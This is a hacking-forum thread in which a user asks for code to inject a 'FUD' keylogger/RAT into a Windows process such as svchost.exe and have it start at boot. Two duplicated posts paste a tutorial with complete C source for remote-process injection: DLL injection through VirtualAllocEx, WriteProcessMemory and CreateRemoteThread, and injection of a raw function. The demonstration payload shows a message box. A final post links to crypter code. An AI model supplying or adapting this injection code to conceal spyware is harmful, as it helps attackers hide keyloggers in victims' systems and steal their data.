Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


Add to Startup {Inject your Server in WIndows Process} filter_list
Author
Message
Add to Startup {Inject your Server in WIndows Process} #1
.



Can someone explain me a Script/Program to inject a Keylogger/RAT to the system files like below :
Its Cybergate Shot :
[Image: 2iudr8l.jpg]

I want to know the script only for this Feature. in .Bat(or - whatever language ).
As I will Bind it to Keylogger (Thats FUD)(Dont focus on,which logger) .The keylogger does'nt have Add to Start up Feature ,

Even if there is .As in Many loggers . It Just creates a shortcut to Startup Folder , which is senseless . The above Injecting method is Awesome and works very Beautifully .


On the whole ;I need a code that injects Server to a windows process (like svchost.exe) and manages to start automatically when windows boots up . You say it , Add to Startup . (As Quoted in above Example Shot ) . Its a Shot of Cybergate , its feature to add at startup is awesome . But I want its(or Similar) working code .




I Ask For
[Image: HeavyMetal.png]



.
.

: M N E M O N I C :


.

Reply

RE: Add to Startup {Inject your Server in WIndows Process} #2
Hmmm nice share, thanks for introduce us.

1010011001111010010010101
0110G10H10O101S010T10101
1010100010100100101001001


Reply

RE: Add to Startup {Inject your Server in WIndows Process} #3
Hmmm.. Well, the injection method has to be IN the source code of they keylogger itself as far as I know.
[Image: nNICR.jpg]
Creds to bluedog

For a list of my contributions (includes tutorials). Click here.

If you'd like to apply for Heat, please click here.

Reply

RE: Add to Startup {Inject your Server in WIndows Process} #4
Hmmm.. Well, the injection method has to be IN the source code of they keylogger itself as far as I know.
[Image: nNICR.jpg]
Creds to bluedog

For a list of my contributions (includes tutorials). Click here.

If you'd like to apply for Heat, please click here.

Reply

RE: Add to Startup {Inject your Server in WIndows Process} #5
that means i need to find out CyberGate ' s Source Code ; Does any one have ?

PS
the logger that I found is plain SMTP FUD logger . so I was thinking that if i get the code to inject logger in process . My Task would be fulfilled Smile
.

: M N E M O N I C :


.

Reply

RE: Add to Startup {Inject your Server in WIndows Process} #6
that means i need to find out CyberGate ' s Source Code ; Does any one have ?

PS
the logger that I found is plain SMTP FUD logger . so I was thinking that if i get the code to inject logger in process . My Task would be fulfilled Smile
.

: M N E M O N I C :


.

Reply

RE: Add to Startup {Inject your Server in WIndows Process} #7
Google Search Rocks == >

How to inject code in Process :
First of all, we need some Windows APIs:

[color=#32CD32]OpenProcess:

Code:
HANDLE WINAPI OpenProcess(
  __in  DWORD dwDesiredAccess,
  __in  BOOL bInheritHandle,
  __in  DWORD dwProcessId
);
Opens a process given its PID with desider access privileges, and returns a handle to it. Return when failure: NULL.

VirtualAllocEx:
Code:
LPVOID WINAPI VirtualAllocEx(
  __in      HANDLE hProcess,
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

It reserves memory in the desired process' memory, starting in lpAddress (if NULL, OS selects an empty place), of size dwSize, with the desired page protection (we will use onli PAGE_EXECUTE_READWRITE). Return when failure: NULL.

WriteProcessMemory:
Code:
BOOL WINAPI WriteProcessMemory(
  __in   HANDLE hProcess,
  __in   LPVOID lpBaseAddress,
  __in   LPCVOID lpBuffer,
  __in   SIZE_T nSize,
  __out  SIZE_T *lpNumberOfBytesWritten
);

Writes in the given address lpBaseAddress of hProcess opened process the data pointed by lpBuffer, number of bytes given in nSize. Return when failure: FALSE. It puts number of bytes written in lpNumberOfBytesWritten.

CreateRemoteThread:
Code:
HANDLE WINAPI CreateRemoteThread(
  __in   HANDLE hProcess,
  __in   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in   SIZE_T dwStackSize,
  __in   LPTHREAD_START_ROUTINE lpStartAddress,
  __in   LPVOID lpParameter,
  __in   DWORD dwCreationFlags,
  __out  LPDWORD lpThreadId
);

Starts a thread in the given process, giving the thread's start address in lpStartAddress and parameters in lpParameter.

Also, we will use Tlhelp32.h to determine the process PID giving the process name:

Code:
HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, "test.exe")==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(lista, &pInfo);
    }
    while(st!=FALSE);


----

Injecting with DLL
----
First we need a DLL to load in the desired process. An example one would be something like this:

Code:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                       DWORD reason        /* Reason this function is being called. */ ,
                       LPVOID reserved     /* Not used. */ )
{
    switch (reason)
    {
      case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Hi!", "Hey!", 0);
        break;
    }
    return TRUE;
}

Then we have to make a process load this DLL. For that, we will do the following:
- Open the process, reserve some memory and write there the name of the DLL.
- Get address of LoadLibrary API. As it is in Kernel32.dll and that should be loaded in every windows process, and windows processes load winAPI in the same directions, we can use its address in our injector in the injected process.
- Create remote thread in the process, giving LoadLibrary's direction as start address and our previously reserved and written string containing our DLL's name as argument.

That would be done like this:

Code:
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>

void error(char *err);

HANDLE myProc=NULL;

int main(int argc, char *argv[])
{

    HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, "test.exe")==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(processList, &pInfo);
    }
    while(st!=FALSE);

    // Open process
    printf("[+] Opening process %i\n", myPid);
    myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
    if(myProc==NULL) error("[-] Error opening process.\n");
    else printf("[+] Process opened.\n");
    
    // Reserve memory for argument (our DLL's name)
    char thData[]="dll.dll";
    LPVOID dirToArg=VirtualAllocEx(myProc, NULL, strlen(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToArg==NULL) error("[-] Error allocating arg memory.\n");
    else printf("[+] Arg memory reserved (%i bytes).\n", strlen(thData));  
    // Write dll's name in reserved memory
    SIZE_T written=0;
    if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, strlen(thData), &written)==0) error("[-] Error writing memory.\n");
    else printf("[+] Memory successfuly written (arg %i bytes).\n", written);
    
    // Create thread in LoadLibrary()'s address
    HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA"), dirToArg, 0, NULL);
    if(rThread==NULL) error("[-] Error creating remote thread.\n");
    else printf("[+] Remote thread created.\n");
    
    CloseHandle(myProc);
}

void error(char *err)
{
     if(myProc!=NULL) CloseHandle(myProc);
     printf("%s", err);
     exit(0);
}

Note that the DLL must be in a folder the injected process is supposed to look for in it.

----
injecting Without DLL
----
This is a little bit more difficult than injecting a DLL. Main differences are:
- Now you can not use text strings as arguments to function directly. We will see about this later.
- Now you can not call to any function that you don't load run-time with LoadLibrary and GetProcAddress. Those are in Kernel32 and are loaded in every program in the same directions, so a pointer to them in our injector will work in the injected process.
- You have to write the whole function's code in the injected process' memory.
- You will need to give more data as argument to the thread. We'll see.

The process is like that:
- Create a struct including every single one text string you will need in the thread, and a pointer to LoadLibrary and GetProcAddress.
- Open the process.
- Reserve memory for the argument structure. Write it.
- Reserve memory for our function. Write it.
- Launch the remote thread, giving our written code address as start point and our written arg structure address as argument.

The code would be like this: (it injects a function with a MessageBoxA, which is included in User32.dll)

Code:
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>

void error(char *err);
static DWORD WINAPI myFunc(LPVOID data);

HANDLE myProc=NULL;

// This two let us load function pointers in our argument structure
typedef int (WINAPI *datLoadLibrary)(LPCTSTR);
typedef int (WINAPI *datGetProcAddress)(HMODULE, LPCSTR);

int main(int argc, char *argv[])
{
    if(argc<2) error("Usage: hook.exe PROCESO\n");
    // This is our argument structure.
    struct {
       char lnUser32[50];                                 // Will contain "User32.dll"
       char fnMessageBoxA[50];                      // Will contain "MessageBoxA"
       datLoadLibrary apiLoadLibrary;               // Pointer to API LoadLibrary
       datGetProcAddress apiGetProcAddress;  // Pointer to API GetProcAddress
       char Msg[50];                                       // Some text we'll use in MessageBoxA
       } thData;
    strcpy(thData.lnUser32, "User32.dll");
    strcpy(thData.fnMessageBoxA, "MessageBoxA");
    strcpy(thData.Msg, "Hola!");
    thData.apiLoadLibrary=GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    thData.apiGetProcAddress=GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress");
    
    int funcSize=600; // Our function size. Could be calculated, but this works for the example.

    HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, argv[1])==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(processList, &pInfo);
    }
    while(st!=FALSE);
    
    // Open process
    printf("[+] Opening process %i\n", myPid);
    myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
    if(myProc==NULL) error("[-] Error opening process.\n");
    else printf("[+] Process opened.\n");
    
    // Reserve memory for argument
    LPVOID dirToArg=VirtualAllocEx(myProc, NULL, sizeof(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToArg==NULL) error("[-] Error allocating arg memory.\n");
    else printf("[+] Arg memory reserved (%i bytes).\n", sizeof(thData));  
    // Write arguments
    SIZE_T written=0;
    if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, sizeof(thData), &written)==0) error("[-] Error writting args memory.\n");
    else printf("[+] Memory written (arg %i bytes).\n", written);
      
    // Reserve memory for our function
    LPVOID dirToWrite=VirtualAllocEx(myProc, NULL, funcSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToWrite==NULL) error("[-] Error reserving memory for code.\n");
    else printf("[+] Memory reserved for code (%i bytes).\n", funcSize);  
    // Write our function's code
    if(WriteProcessMemory(myProc, dirToWrite, (LPVOID)myFunc, funcSize, &written) == 0) error("[-] Error writing memory.\n");
    else printf("[+] Memoria written (code).\n");
    
    // Launch thread to our code
    HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)dirToWrite, dirToArg, 0, NULL);
    if(rThread==NULL) error("[-] Error launching thread.\n");
    else printf("[+] Thread launched.\n");
    CloseHandle(myProc);
    
    return 0;
}
    
void error(char *err)
{
     if(myProc!=NULL) CloseHandle(myProc);
     printf("%s", err);
     exit(0);
}

static DWORD WINAPI myFunc(LPVOID data)
{
    // We load our data in this structure
     struct {
         char lnUser32[50];
         char fnMessageBoxA[50];
         datLoadLibrary apiLoadLibrary;
         datGetProcAddress apiGetProcAddress;
         char MSG[50];
     } *thData;
     thData=data;
     // I can get any API with this two, being its name in thData structure
     void *apiDir=(void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->lnUser32), thData->fnMessageBoxA);
     // This is a function pointer with prototype similar to MessageBoxA
     INT WINAPI (*myMessageBox)(HWND, LPCSTR, LPCSTR, UINT);
     myMessageBox=apiDir;
     myMessageBox(NULL, thData->MSG, thData->MSG, 0);
     return;
}


PS
I still Don't no How to use it Sad

----
.

: M N E M O N I C :


.

Reply

RE: Add to Startup {Inject your Server in WIndows Process} #8
Google Search Rocks == >

How to inject code in Process :
First of all, we need some Windows APIs:

[color=#32CD32]OpenProcess:

Code:
HANDLE WINAPI OpenProcess(
  __in  DWORD dwDesiredAccess,
  __in  BOOL bInheritHandle,
  __in  DWORD dwProcessId
);
Opens a process given its PID with desider access privileges, and returns a handle to it. Return when failure: NULL.

VirtualAllocEx:
Code:
LPVOID WINAPI VirtualAllocEx(
  __in      HANDLE hProcess,
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

It reserves memory in the desired process' memory, starting in lpAddress (if NULL, OS selects an empty place), of size dwSize, with the desired page protection (we will use onli PAGE_EXECUTE_READWRITE). Return when failure: NULL.

WriteProcessMemory:
Code:
BOOL WINAPI WriteProcessMemory(
  __in   HANDLE hProcess,
  __in   LPVOID lpBaseAddress,
  __in   LPCVOID lpBuffer,
  __in   SIZE_T nSize,
  __out  SIZE_T *lpNumberOfBytesWritten
);

Writes in the given address lpBaseAddress of hProcess opened process the data pointed by lpBuffer, number of bytes given in nSize. Return when failure: FALSE. It puts number of bytes written in lpNumberOfBytesWritten.

CreateRemoteThread:
Code:
HANDLE WINAPI CreateRemoteThread(
  __in   HANDLE hProcess,
  __in   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in   SIZE_T dwStackSize,
  __in   LPTHREAD_START_ROUTINE lpStartAddress,
  __in   LPVOID lpParameter,
  __in   DWORD dwCreationFlags,
  __out  LPDWORD lpThreadId
);

Starts a thread in the given process, giving the thread's start address in lpStartAddress and parameters in lpParameter.

Also, we will use Tlhelp32.h to determine the process PID giving the process name:

Code:
HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, "test.exe")==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(lista, &pInfo);
    }
    while(st!=FALSE);


----

Injecting with DLL
----
First we need a DLL to load in the desired process. An example one would be something like this:

Code:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                       DWORD reason        /* Reason this function is being called. */ ,
                       LPVOID reserved     /* Not used. */ )
{
    switch (reason)
    {
      case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Hi!", "Hey!", 0);
        break;
    }
    return TRUE;
}

Then we have to make a process load this DLL. For that, we will do the following:
- Open the process, reserve some memory and write there the name of the DLL.
- Get address of LoadLibrary API. As it is in Kernel32.dll and that should be loaded in every windows process, and windows processes load winAPI in the same directions, we can use its address in our injector in the injected process.
- Create remote thread in the process, giving LoadLibrary's direction as start address and our previously reserved and written string containing our DLL's name as argument.

That would be done like this:

Code:
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>

void error(char *err);

HANDLE myProc=NULL;

int main(int argc, char *argv[])
{

    HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, "test.exe")==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(processList, &pInfo);
    }
    while(st!=FALSE);

    // Open process
    printf("[+] Opening process %i\n", myPid);
    myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
    if(myProc==NULL) error("[-] Error opening process.\n");
    else printf("[+] Process opened.\n");
    
    // Reserve memory for argument (our DLL's name)
    char thData[]="dll.dll";
    LPVOID dirToArg=VirtualAllocEx(myProc, NULL, strlen(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToArg==NULL) error("[-] Error allocating arg memory.\n");
    else printf("[+] Arg memory reserved (%i bytes).\n", strlen(thData));  
    // Write dll's name in reserved memory
    SIZE_T written=0;
    if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, strlen(thData), &written)==0) error("[-] Error writing memory.\n");
    else printf("[+] Memory successfuly written (arg %i bytes).\n", written);
    
    // Create thread in LoadLibrary()'s address
    HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA"), dirToArg, 0, NULL);
    if(rThread==NULL) error("[-] Error creating remote thread.\n");
    else printf("[+] Remote thread created.\n");
    
    CloseHandle(myProc);
}

void error(char *err)
{
     if(myProc!=NULL) CloseHandle(myProc);
     printf("%s", err);
     exit(0);
}

Note that the DLL must be in a folder the injected process is supposed to look for in it.

----
injecting Without DLL
----
This is a little bit more difficult than injecting a DLL. Main differences are:
- Now you can not use text strings as arguments to function directly. We will see about this later.
- Now you can not call to any function that you don't load run-time with LoadLibrary and GetProcAddress. Those are in Kernel32 and are loaded in every program in the same directions, so a pointer to them in our injector will work in the injected process.
- You have to write the whole function's code in the injected process' memory.
- You will need to give more data as argument to the thread. We'll see.

The process is like that:
- Create a struct including every single one text string you will need in the thread, and a pointer to LoadLibrary and GetProcAddress.
- Open the process.
- Reserve memory for the argument structure. Write it.
- Reserve memory for our function. Write it.
- Launch the remote thread, giving our written code address as start point and our written arg structure address as argument.

The code would be like this: (it injects a function with a MessageBoxA, which is included in User32.dll)

Code:
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>

void error(char *err);
static DWORD WINAPI myFunc(LPVOID data);

HANDLE myProc=NULL;

// This two let us load function pointers in our argument structure
typedef int (WINAPI *datLoadLibrary)(LPCTSTR);
typedef int (WINAPI *datGetProcAddress)(HMODULE, LPCSTR);

int main(int argc, char *argv[])
{
    if(argc<2) error("Usage: hook.exe PROCESO\n");
    // This is our argument structure.
    struct {
       char lnUser32[50];                                 // Will contain "User32.dll"
       char fnMessageBoxA[50];                      // Will contain "MessageBoxA"
       datLoadLibrary apiLoadLibrary;               // Pointer to API LoadLibrary
       datGetProcAddress apiGetProcAddress;  // Pointer to API GetProcAddress
       char Msg[50];                                       // Some text we'll use in MessageBoxA
       } thData;
    strcpy(thData.lnUser32, "User32.dll");
    strcpy(thData.fnMessageBoxA, "MessageBoxA");
    strcpy(thData.Msg, "Hola!");
    thData.apiLoadLibrary=GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    thData.apiGetProcAddress=GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress");
    
    int funcSize=600; // Our function size. Could be calculated, but this works for the example.

    HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, argv[1])==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(processList, &pInfo);
    }
    while(st!=FALSE);
    
    // Open process
    printf("[+] Opening process %i\n", myPid);
    myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
    if(myProc==NULL) error("[-] Error opening process.\n");
    else printf("[+] Process opened.\n");
    
    // Reserve memory for argument
    LPVOID dirToArg=VirtualAllocEx(myProc, NULL, sizeof(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToArg==NULL) error("[-] Error allocating arg memory.\n");
    else printf("[+] Arg memory reserved (%i bytes).\n", sizeof(thData));  
    // Write arguments
    SIZE_T written=0;
    if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, sizeof(thData), &written)==0) error("[-] Error writting args memory.\n");
    else printf("[+] Memory written (arg %i bytes).\n", written);
      
    // Reserve memory for our function
    LPVOID dirToWrite=VirtualAllocEx(myProc, NULL, funcSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToWrite==NULL) error("[-] Error reserving memory for code.\n");
    else printf("[+] Memory reserved for code (%i bytes).\n", funcSize);  
    // Write our function's code
    if(WriteProcessMemory(myProc, dirToWrite, (LPVOID)myFunc, funcSize, &written) == 0) error("[-] Error writing memory.\n");
    else printf("[+] Memoria written (code).\n");
    
    // Launch thread to our code
    HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)dirToWrite, dirToArg, 0, NULL);
    if(rThread==NULL) error("[-] Error launching thread.\n");
    else printf("[+] Thread launched.\n");
    CloseHandle(myProc);
    
    return 0;
}
    
void error(char *err)
{
     if(myProc!=NULL) CloseHandle(myProc);
     printf("%s", err);
     exit(0);
}

static DWORD WINAPI myFunc(LPVOID data)
{
    // We load our data in this structure
     struct {
         char lnUser32[50];
         char fnMessageBoxA[50];
         datLoadLibrary apiLoadLibrary;
         datGetProcAddress apiGetProcAddress;
         char MSG[50];
     } *thData;
     thData=data;
     // I can get any API with this two, being its name in thData structure
     void *apiDir=(void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->lnUser32), thData->fnMessageBoxA);
     // This is a function pointer with prototype similar to MessageBoxA
     INT WINAPI (*myMessageBox)(HWND, LPCSTR, LPCSTR, UINT);
     myMessageBox=apiDir;
     myMessageBox(NULL, thData->MSG, thData->MSG, 0);
     return;
}


PS
I still Don't no How to use it Sad

----
.

: M N E M O N I C :


.

Reply

RE: Add to Startup {Inject your Server in WIndows Process} #9
http://www.hackcommunity.com/Thread-Cryp...know-about

For Help
For Code

http://pastebin.com/Eisge8Kx
.

: M N E M O N I C :


.

Reply







Users browsing this thread: 2 Guest(s)